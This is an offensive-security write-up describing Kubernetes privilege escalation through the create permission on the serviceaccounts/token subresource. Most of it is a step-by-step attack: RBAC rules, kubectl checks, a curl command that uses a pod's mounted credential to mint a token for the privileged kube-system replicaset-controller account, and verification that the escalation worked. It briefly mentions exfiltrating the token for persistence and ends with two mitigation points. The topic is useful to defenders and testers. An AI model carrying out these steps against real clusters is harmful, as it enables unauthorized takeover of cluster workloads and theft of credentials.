← Back to Topics
offensive 6 min read Created: Apr 12, 2026

Privilege Escalation via serviceaccounts/token Permission

How create permission on the serviceaccounts/token subresource enables acquiring tokens for more privileged service accounts without pods or Secrets

How the TokenRequest API works

The TokenRequest API issues short-lived tokens on demand. The API endpoint is:

POST /api/v1/namespaces/<namespace>/serviceaccounts/<name>/token

A caller sends a TokenRequest body specifying how long the token should live and which audiences it should be valid for:

{
  "apiVersion": "authentication.k8s.io/v1",
  "kind": "TokenRequest",
  "spec": {
    "expirationSeconds": 3600,
    "audiences": ["https://kubernetes.default.svc.cluster.local"]
  }
}

The spec also accepts an optional boundObjectRef field that ties the resulting token to the lifetime of a specific pod or Secret. Without it the token is unbound: it remains valid until exp regardless of whether the requesting workload still exists.

A caller with create on the serviceaccounts/token subresource can call this endpoint for any service account the RBAC rule covers, not just its own. The token is generated in memory and never written to etcd. Old-style service account tokens were auto-created as Secret objects and persisted in etcd, which meant they survived restarts, appeared in etcd backups, and were visible to anyone with read access to Secrets.

The TokenRequest API was introduced to replace that model. The API server signs the token using --service-account-signing-key-file, writes it into the HTTP response body, and performs no etcd write. No Secret object is created. The credential cannot be retrieved after the API response is returned, which means exfiltration at issuance time is the only window to capture it. The API server has no requirement that the requester and the target be the same identity, which means any over-permissive grant of the subresource becomes an impersonation primitive.

RBAC permissions

The minimum RBAC rule that enables this technique is:

rules:
  - apiGroups: [""]
    resources: ["serviceaccounts/token"]
    verbs: ["create"]

The attacker does not need get on serviceaccounts, create on pods, or access to secrets. This single rule is sufficient to request a token for any service account in the namespace. Scoping the rule with resourceNames limits which accounts can be targeted but does not prevent escalation. If any named account holds elevated privileges, the attacker can still acquire its token.

The attack sequence

Step 1: Verify the permission

kubectl auth can-i does not evaluate resourceNames-scoped rules. When the role restricts access to specific service accounts by name, both the slash form and the --subresource form return no, even though the permission is real and the token request will succeed.

kubectl auth can-i create serviceaccounts/token -n <namespace>
no
kubectl auth can-i create serviceaccounts --subresource=token -n <namespace>
no

Both return no because SelfSubjectAccessReview does not evaluate rules with resourceNames. The check is blind to scoped grants. The actual token request bypasses this check entirely and succeeds as long as the role covers the target account name.

Step 2: Identify a privileged target

Enumeration is not always necessary. Several service accounts exist by default in every Kubernetes cluster and are worth targeting directly without prior discovery.

The default service account is present in every namespace but carries no permissions by default. It becomes a target only when operators bind roles to it directly, which happens when workloads are deployed without a dedicated service account. Confirm a role is bound before treating it as useful.

In kube-system, service accounts such as replicaset-controller, deployment-controller, and horizontal-pod-autoscaler are created by the cluster itself and hold broad permissions over their respective resources. These names are fixed across all standard Kubernetes installations and can be targeted without any prior enumeration.

When service account names are not known in advance, list all accounts in the namespace:

kubectl get serviceaccounts -n <namespace> -o name

To identify which accounts hold useful permissions without access to RoleBindings, probe using impersonation:

kubectl auth can-i --list -n <namespace> \
  --as=system:serviceaccount:<namespace>:<target-sa>

Step 3: Request the token

The target in this scenario is replicaset-controller in kube-system, a service account present in every standard Kubernetes installation. It is bound to the system:controller:replicaset-controller ClusterRole, which grants create and delete on pods across all namespaces:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: system:controller:replicaset-controller
rules:
  - apiGroups: ["apps", "extensions"]
    resources: ["replicasets"]
    verbs: ["get", "list", "update", "watch"]
  - apiGroups: ["apps", "extensions"]
    resources: ["replicasets/status"]
    verbs: ["update"]
  - apiGroups: ["apps", "extensions"]
    resources: ["replicasets/finalizers"]
    verbs: ["update"]
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["create", "delete", "list", "patch", "watch"]
  - apiGroups: ["", "events.k8s.io"]
    resources: ["events"]
    verbs: ["create", "patch", "update"]

An attacker whose workload runs in any namespace only needs a Role in kube-system granting create on serviceaccounts/token for the target account. Scoping the role with resourceNames does not prevent escalation. It only controls which service accounts are in scope. If the named account holds elevated privileges, the outcome is identical to an unscoped grant:

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: token-requestor
  namespace: kube-system
rules:
  - apiGroups: [""]
    resources: ["serviceaccounts/token"]
    verbs: ["create"]
    resourceNames: ["replicaset-controller"]

From inside a pod with this permission, use the auto-mounted credential to call the TokenRequest API directly. The kubernetes.default.svc DNS name may not resolve in all pod configurations. Use the KUBERNETES_SERVICE_HOST and KUBERNETES_SERVICE_PORT environment variables instead:

APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

curl -s -X POST \
  "${APISERVER}/api/v1/namespaces/kube-system/serviceaccounts/replicaset-controller/token" \
  --cacert "${CACERT}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"TokenRequest","spec":{"expirationSeconds":3600}}'

A successful request returns HTTP 201 with the token in status.token:

{
  "kind": "TokenRequest",
  "apiVersion": "authentication.k8s.io/v1",
  "status": {
    "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6...",
    "expirationTimestamp": "2026-04-12T10:14:03Z"
  }
}

The returned token is signed by the API server’s --service-account-signing-key-file. Its JWT payload contains:

ClaimValue
subsystem:serviceaccount:kube-system:replicaset-controller
issvalue of --service-account-issuer on the API server
audaudience from the request spec, defaults to the API server issuer URL
kubernetes.io.namespacekube-system
kubernetes.io.serviceaccount.namereplicaset-controller
expnow + expirationSeconds
iattoken issuance time
nbfnot-before time, equal to iat
jtiunique token identifier

Step 4: Verify the escalation

Confirm the permission difference between the attacker’s own identity and the retrieved token. The attacker’s own service account has no pod creation permission:

kubectl auth can-i create pods -n default \
  --as=system:serviceaccount:default:default
no

The retrieved token carries cluster-wide pod creation and deletion:

kubectl auth can-i create pods -n default \
  --as=system:serviceaccount:kube-system:replicaset-controller
yes

To verify using the actual escalated token rather than --as impersonation:

kubectl auth can-i create pods -n default --token="<escalated-token>"
yes

Once the escalated token is in hand, it can be exfiltrated and used to maintain access from outside the cluster without leaving any in-cluster footprint. That lifecycle (exfiltration, pod deletion, and external persistence) is covered in Persistence via Unbound Service Account Tokens.

Impact

An attacker with create on serviceaccounts/token in any namespace can generate a valid, usable token for any service account in that namespace, including ones bound to powerful cluster roles. No pod needs to exist. No Secret is created. The operation leaves only an audit log entry.

Mitigation

  • Treat create on serviceaccounts/token as a privileged permission equivalent to impersonation. Audit every binding that grants it.
  • Scope token-requestor roles to a single named service account using resourceNames rather than granting access to all accounts in a namespace.

MITRE ATT&CK Techniques